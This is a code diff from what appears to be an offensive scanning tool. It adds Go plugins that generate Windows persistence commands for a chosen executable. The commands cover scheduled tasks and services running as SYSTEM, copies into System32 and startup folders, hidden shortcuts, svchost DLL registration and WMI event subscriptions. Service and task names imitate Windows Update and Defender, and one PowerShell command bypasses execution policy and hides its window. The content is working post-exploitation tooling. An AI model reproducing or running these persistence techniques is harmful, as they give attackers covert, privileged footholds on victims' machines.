+ return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("无效的PE文件"), + } + } + + output.WriteString("=== Windows计划任务持久化 ===\n") + output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 创建计划任务持久化 + scheduledTasks, err := p.createScheduledTaskPersistence(p.pePath) + if err != nil { + output.WriteString(fmt.Sprintf("创建计划任务持久化失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString(fmt.Sprintf("创建了%d个计划任务持久化项:\n", len(scheduledTasks))) + for i, task := range scheduledTasks { + output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, task)) + } + output.WriteString("\n✓ Windows计划任务持久化完成\n") + + common.LogSuccess(fmt.Sprintf("Windows计划任务持久化完成: %d个项目", len(scheduledTasks))) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// createScheduledTaskPersistence 创建计划任务持久化 +func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var scheduledTasks []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + tasks := []struct { + name string + schedule string + description string + modifier string + }{ + { + name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt), + schedule: "DAILY", + modifier: "1", + description: "Daily Windows Update Check", + }, + { + name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt), + schedule: "ONLOGON", + modifier: "", + description: "System Security Scan on Logon", + }, + { + name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt), + schedule: "MINUTE", + modifier: "30", + description: "Network Monitor Every 30 Minutes", + }, + { + name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt), + schedule: "ONSTART", + modifier: "", + description: "System Maintenance Task on Startup", + }, + { + name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt), + schedule: "HOURLY", + modifier: "2", + description: "Background Service Every 2 Hours", + }, + { + name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), + schedule: "ONIDLE", + modifier: "5", + description: "Security Update When System Idle", + }, + } + + for _, task := range tasks { + var schTaskCmd string + + if task.modifier != "" { + schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`, + task.name, absPath, task.schedule, task.modifier) + } else { + schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`, + task.name, absPath, task.schedule) + } + + scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd)) + } + + xmlTemplate := fmt.Sprintf(` + + + 2023-01-01T00:00:00 + Microsoft Corporation + Windows System Service + + + + true + + + true + + + + + S-1-5-18 + HighestAvailable + + + + IgnoreNew + false + false + false + true + false + + false + false + + true + true + true + false + false + true + false + PT0S + 7 + + + + %s + + +`, absPath) + + xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt) + xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName) + + xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`, + xmlTemplate, xmlPath, xmlPath, xmlTaskName) + + scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd)) + + return scheduledTasks, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// 注册插件 +func init() { + RegisterLocalPlugin("winschtask", func() Plugin { + return NewWinSchTaskPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go new file mode 100644 index 0000000..06ae283 --- /dev/null +++ b/plugins/local/winservice.go @@ -0,0 +1,227 @@ +//go:build windows + +package local + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// WinServicePlugin Windows服务持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现服务持久化功能 +// - 保持原有功能逻辑 +type WinServicePlugin struct { + name string + pePath string +} + +// NewWinServicePlugin 创建Windows服务持久化插件 +func NewWinServicePlugin() *WinServicePlugin { + pePath := common.WinPEFile + if pePath == "" { + pePath = "" + } + + return &WinServicePlugin{ + name: "winservice", + pePath: pePath, + } +} + +// GetName 实现Plugin接口 +func (p *WinServicePlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *WinServicePlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行Windows服务持久化 - 直接实现 +func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "windows" { + output.WriteString("Windows服务持久化只支持Windows平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.pePath == "" { + output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定PE文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("无效的PE文件"), + } + } + + output.WriteString("=== Windows服务持久化 ===\n") + output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 创建服务持久化 + services, err := p.createServicePersistence(p.pePath) + if err != nil { + output.WriteString(fmt.Sprintf("创建服务持久化失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString(fmt.Sprintf("创建了%d个Windows服务持久化项:\n", len(services))) + for i, service := range services { + output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, service)) + } + output.WriteString("\n✓ Windows服务持久化完成\n") + + common.LogSuccess(fmt.Sprintf("Windows服务持久化完成: %d个项目", len(services))) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// createServicePersistence 创建服务持久化 +func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var services []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + serviceConfigs := []struct { + name string + displayName string + description string + startType string + }{ + { + name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt), + displayName: "Windows Defender Update Service", + description: "Manages Windows Defender signature updates and system security", + startType: "auto", + }, + { + name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt), + displayName: "System Event Log Service", + description: "Manages system event logging and audit trail maintenance", + startType: "auto", + }, + { + name: fmt.Sprintf("NetworkManager%s", baseNameNoExt), + displayName: "Network Configuration Manager", + description: "Handles network interface configuration and management", + startType: "demand", + }, + { + name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt), + displayName: "Windows Update Assistant", + description: "Coordinates automatic Windows updates and patches", + startType: "auto", + }, + { + name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt), + displayName: "System Maintenance Service", + description: "Performs routine system maintenance and optimization tasks", + startType: "manual", + }, + } + + for _, config := range serviceConfigs { + scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`, + config.name, absPath, config.displayName, config.startType) + + scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description) + + scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name) + + services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd)) + services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd)) + services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd)) + } + + serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt) + wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName) + + copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath) + services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd)) + + scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`, + serviceWrapperName, wrapperPath) + services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd)) + + regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, + serviceWrapperName, wrapperPath) + services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd)) + + dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt) + if filepath.Ext(absPath) == ".dll" { + svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`, + dllServiceName) + services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd)) + + regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, + dllServiceName, absPath) + services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd)) + + regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`, + dllServiceName) + services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd)) + } + + return services, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinServicePlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// 注册插件 +func init() { + RegisterLocalPlugin("winservice", func() Plugin { + return NewWinServicePlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go new file mode 100644 index 0000000..44d2321 --- /dev/null +++ b/plugins/local/winstartup.go @@ -0,0 +1,218 @@ +//go:build windows + +package local + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// WinStartupPlugin Windows启动文件夹持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现启动文件夹持久化功能 +// - 保持原有功能逻辑 +type WinStartupPlugin struct { + name string + pePath string +} + +// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 +func NewWinStartupPlugin() *WinStartupPlugin { + pePath := common.WinPEFile + if pePath == "" { + pePath = "" + } + + return &WinStartupPlugin{ + name: "winstartup", + pePath: pePath, + } +} + +// GetName 实现Plugin接口 +func (p *WinStartupPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *WinStartupPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行Windows启动文件夹持久化 - 直接实现 +func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "windows" { + output.WriteString("Windows启动文件夹持久化只支持Windows平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.pePath == "" { + output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定PE文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("无效的PE文件"), + } + } + + output.WriteString("=== Windows启动文件夹持久化 ===\n") + output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 创建启动文件夹持久化 + startupMethods, err := p.createStartupPersistence(p.pePath) + if err != nil { + output.WriteString(fmt.Sprintf("创建启动文件夹持久化失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString(fmt.Sprintf("创建了%d个启动文件夹持久化方法:\n", len(startupMethods))) + for i, method := range startupMethods { + output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, method)) + } + output.WriteString("\n✓ Windows启动文件夹持久化完成\n") + + common.LogSuccess(fmt.Sprintf("Windows启动文件夹持久化完成: %d个方法", len(startupMethods))) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// createStartupPersistence 创建启动文件夹持久化 +func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var startupMethods []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + startupLocations := []struct { + path string + description string + method string + }{ + { + path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, + description: "Current User Startup Folder", + method: "shortcut", + }, + { + path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`, + description: "All Users Startup Folder", + method: "shortcut", + }, + { + path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, + description: "Current User Startup Folder (Direct Copy)", + method: "copy", + }, + { + path: `%TEMP%\WindowsUpdate`, + description: "Temp Directory with Startup Reference", + method: "temp_copy", + }, + } + + for _, location := range startupLocations { + switch location.method { + case "shortcut": + shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt) + shortcutPath := filepath.Join(location.path, shortcutName) + + powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`, + shortcutPath, absPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd)) + + case "copy": + targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt) + targetPath := filepath.Join(location.path, targetName) + copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd)) + + case "temp_copy": + tempDir := filepath.Join(location.path) + mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir) + targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt) + targetPath := filepath.Join(tempDir, targetName) + copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd)) + + shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt)) + powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`, + shortcutPath, targetPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd)) + } + } + + batchScript := fmt.Sprintf(`@echo off +cd /d "%%~dp0" +start "" /b "%s" +exit`, absPath) + + batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt)) + batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath) + startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd)) + + return startupMethods, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinStartupPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// 注册插件 +func init() { + RegisterLocalPlugin("winstartup", func() Plugin { + return NewWinStartupPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go new file mode 100644 index 0000000..e7a863b --- /dev/null +++ b/plugins/local/winwmi.go @@ -0,0 +1,250 @@ +//go:build windows + +package local + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" +) + +// WinWMIPlugin Windows WMI事件订阅持久化插件 - Linus式简化版本 +// +// 设计哲学:直接实现,删除过度设计 +// - 删除复杂的继承体系 +// - 直接实现WMI事件订阅持久化功能 +// - 保持原有功能逻辑 +type WinWMIPlugin struct { + name string + pePath string +} + +// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 +func NewWinWMIPlugin() *WinWMIPlugin { + pePath := common.WinPEFile + if pePath == "" { + pePath = "" + } + + return &WinWMIPlugin{ + name: "winwmi", + pePath: pePath, + } +} + +// GetName 实现Plugin接口 +func (p *WinWMIPlugin) GetName() string { + return p.name +} + +// GetPorts 实现Plugin接口 - local插件不需要端口 +func (p *WinWMIPlugin) GetPorts() []int { + return []int{} +} + +// Scan 执行Windows WMI事件订阅持久化 - 直接实现 +func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { + var output strings.Builder + + if runtime.GOOS != "windows" { + output.WriteString("Windows WMI事件订阅持久化只支持Windows平台\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + } + } + + if p.pePath == "" { + output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("未指定PE文件"), + } + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", p.pePath)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: fmt.Errorf("无效的PE文件"), + } + } + + output.WriteString("=== Windows WMI事件订阅持久化 ===\n") + output.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) + output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + + // 创建WMI事件订阅持久化 + wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath) + if err != nil { + output.WriteString(fmt.Sprintf("创建WMI事件订阅持久化失败: %v\n", err)) + return &ScanResult{ + Success: false, + Output: output.String(), + Error: err, + } + } + + output.WriteString(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:\n", len(wmiSubscriptions))) + for i, subscription := range wmiSubscriptions { + output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, subscription)) + } + output.WriteString("\n✓ Windows WMI事件订阅持久化完成\n") + + common.LogSuccess(fmt.Sprintf("Windows WMI事件订阅持久化完成: %d个项目", len(wmiSubscriptions))) + + return &ScanResult{ + Success: true, + Output: output.String(), + Error: nil, + } +} + +// createWMIEventSubscriptions 创建WMI事件订阅 +func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var wmiSubscriptions []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + wmiEventConfigs := []struct { + filterName string + consumerName string + bindingName string + query string + description string + }{ + { + filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_SystemConfigurationChangeEvent", + description: "System Boot Event Trigger", + }, + { + filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'", + description: "Explorer Process Start Trigger", + }, + { + filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2", + description: "User Logon Event Trigger", + }, + { + filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt), + query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'", + description: "File Creation Monitor Trigger", + }, + { + filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_ServiceControlEvent", + description: "Service State Change Trigger", + }, + } + + for _, config := range wmiEventConfigs { + filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, + config.filterName, config.query) + + consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, + config.consumerName, absPath, absPath) + + bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, + config.filterName, config.consumerName) + + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd)) + } + + timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt) + timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt) + + timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'" + + timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, + timerFilterName, timerQuery) + + timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, + timerConsumerName, absPath, absPath) + + timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, + timerFilterName, timerConsumerName) + + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd)) + + powershellWMIScript := fmt.Sprintf(` +$filterName = "PowerShellFilter_%s" +$consumerName = "PowerShellConsumer_%s" +$bindingName = "PowerShellBinding_%s" + +$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ + Name = $filterName + EventNameSpace = "root\cimv2" + QueryLanguage = "WQL" + Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2" +} + +$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ + Name = $consumerName + CommandLineTemplate = '"%s"' + ExecutablePath = "%s" +} + +$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ + Filter = $Filter + Consumer = $Consumer +}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath) + + powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd)) + + return wmiSubscriptions, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinWMIPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// 注册插件 +func init() { + RegisterLocalPlugin("winwmi", func() Plugin { + return NewWinWMIPlugin() + }) +} \ No newline at end of file diff --git a/plugins/local_backup/interfaces.go b/plugins/local_backup/interfaces.go deleted file mode 100644 index 98340ee..0000000 --- a/plugins/local_backup/interfaces.go +++ /dev/null @@ -1,26 +0,0 @@ -package local - -import ( - "context" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" -) - -// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描 -type LocalPlugin interface { - base.Plugin - - // ScanLocal 执行本地扫描 - 核心功能 - ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) - - // GetPlatformSupport 获取支持的平台 - GetPlatformSupport() []string - - // RequiresPrivileges 是否需要特殊权限 - RequiresPrivileges() bool -} - -// 移除不必要的接口: -// - LocalConnector: 本地插件不需要"连接"概念 -// - LocalScanner: 功能合并到LocalPlugin中 -// - LocalExploiter: 本地插件不需要攻击利用功能 \ No newline at end of file diff --git a/plugins/local_backup/plugin.go b/plugins/local_backup/plugin.go deleted file mode 100644 index a1cc036..0000000 --- a/plugins/local_backup/plugin.go +++ /dev/null @@ -1,165 +0,0 @@ -package local - -import ( - "context" - "errors" - "fmt" - "os" - "os/user" - "runtime" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" -) - -// BaseLocalPlugin 本地插件基础实现 - 简化架构 -type BaseLocalPlugin struct { - *base.BasePlugin - platforms []string - requiresPrivileges bool -} - -// NewBaseLocalPlugin 创建基础本地插件 -func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin { - basePlugin := base.NewBasePlugin(metadata) - - return &BaseLocalPlugin{ - BasePlugin: basePlugin, - platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台 - requiresPrivileges: false, - } -} - -// Initialize 初始化插件 -func (p *BaseLocalPlugin) Initialize() error { - // 检查平台支持 - if !p.isPlatformSupported() { - return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS) - } - - return p.BasePlugin.Initialize() -} - -// Scan 执行扫描 -func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - // 检查权限要求 - if p.requiresPrivileges && !p.hasRequiredPrivileges() { - return &base.ScanResult{ - Success: false, - Error: errors.New("需要管理员/root权限才能执行此扫描"), - }, nil - } - - return p.ScanLocal(ctx, info) -} - -// ScanLocal 默认本地扫描实现(子类应重写) -func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return &base.ScanResult{ - Success: false, - Error: errors.New("ScanLocal方法需要在子类中实现"), - }, nil -} - -// GetSystemInfo 获取系统信息 - 实用工具方法 -func (p *BaseLocalPlugin) GetSystemInfo() map[string]string { - systemInfo := make(map[string]string) - - systemInfo["os"] = runtime.GOOS - systemInfo["arch"] = runtime.GOARCH - - if homeDir, err := os.UserHomeDir(); err == nil { - systemInfo["home_dir"] = homeDir - } - - if workDir, err := os.Getwd(); err == nil { - systemInfo["working_dir"] = workDir - } - - systemInfo["temp_dir"] = os.TempDir() - - // 获取用户名 - if currentUser, err := user.Current(); err == nil { - systemInfo["username"] = currentUser.Username - } - - // 获取主机名 - if hostname, err := os.Hostname(); err == nil { - systemInfo["hostname"] = hostname - } - - return systemInfo -} - - -// GetPlatformSupport 获取支持的平台 -func (p *BaseLocalPlugin) GetPlatformSupport() []string { - return p.platforms -} - -// SetPlatformSupport 设置支持的平台 -func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) { - p.platforms = platforms -} - -// RequiresPrivileges 是否需要特殊权限 -func (p 